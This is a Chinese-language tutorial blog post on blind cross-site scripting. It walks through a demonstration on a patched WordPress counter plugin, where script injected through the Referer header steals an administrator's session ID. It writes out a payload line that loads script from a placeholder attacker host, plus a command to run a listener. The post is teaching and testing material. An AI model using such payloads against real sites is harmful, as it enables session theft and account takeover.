科普文-blind xss

Blind XSS 是 cross site scripting (XSS)攻击的一个子方向



About Blind XSS

在这篇文章中,你将了解到什么是blind xss以及几种测试方法。在web应用程序评估期间,我们通过在应用程序的某个地方注入有效负载来测试XSS。一般情况下,我们在网站的评论部分,参数,标题等位置进行测试。大多数时候,在测试XSS时,我们会以 “弹框”的方法来测评。

但是,如果我们没有看到弹出窗口怎么办?这是否意味着该网站此位置不存在XSS漏洞攻击呢?答案显然不是。当我们注入有效负载时,Web应用程序可能会将其存储在我们无法访问的位置,例如:在数据库,日志文件,相同或者不同应用程序的其他区域中。

作为测试人员,我们可能不知道有效负载是否存储或存储的位置。我们也不知道何时可以访问特定功能。

我将进行一次快速的演示。此次演示将使用Wordpress程序以及易受blind XSS攻击的插件(Count per Day)。
注:该漏洞已被修复。


Count per Day界面

通过这个插件,我们可以跟踪引用头,并将信息存储在一个名为wp_cpd_counter的表中。如下面的截图所示,我们的设置表当前为空。


空表

将JavaScript注入到referrer头中。但就像上面提到的,这个操作不会”弹框”,所以我们无法判断是否被存储,但一定要记住,是否被存储≠不存储(我们不讨论该漏洞的形成过程)。每天的计数跟踪referrer头信息,它会存储在数据库中。在管理员查看用户统计信息之前,JavaScript不会真正执行。


插入XSS代码

如果应用程序受到了此攻击,则有效负载将到达我的服务器并执行sploit.js,其中包含以下JavaScript。


攻击负载

在服务器端,我使用python设置一个简单的Web服务器来监听请求并托管sploit.js脚本。


监听设置

如果只需要证明应用程序容易受到盲目的XSS攻击,那么我们只需等待web服务器记录请求即可。在该演示中,我将使用sploit.js窃取管理会话ID。


窃取管理员会话

该图显示sploit.js正在执行并获取管理员的PHP会话ID。当管理员访问Wordpress管理部分中每个插件的计数时,都会发生这种情况。

在该演示过程中,我们可以完全控制管理和攻击方。但是作为测试人员,可能无法控制web应用程序的所有领域。这就是我们有时会错过对blind XSS的测试原因。

Python Blind XSS Script

为了好玩,我编写了一个python脚本来监听HTTPS的传入连接、发送电子邮件并将详细信息记录在日志文件中。
使用该脚本,你需要使用openssl为https生成密钥和crt文件。我在脚本中添加了关于如何生成密钥和crt文件的注释:

1
openssl req -newkey rsa:2048 -nodes -keyout newkey.key -x509 -days 365 -out newcert.crt

如果使用电子邮件,还需要添加SMTP凭证。

调整好脚本之后,只需运行:

1
python3 blind_xss_server.py

在客户端,我们需要注入一个有效负载,例如:

1
<script src=//DOMAIN:4443/BxXxSxS></script>

然后查看日志文件并监视电子邮件警报即可。

该脚本可以在以下链接中找到:
https://github.com/quyunjie/Red-Team/blob/master/scripts/blind_xss_server.py

坚持原创技术分享,您的支持将鼓励我继续创作!
-------------本文结束感谢您的阅读-------------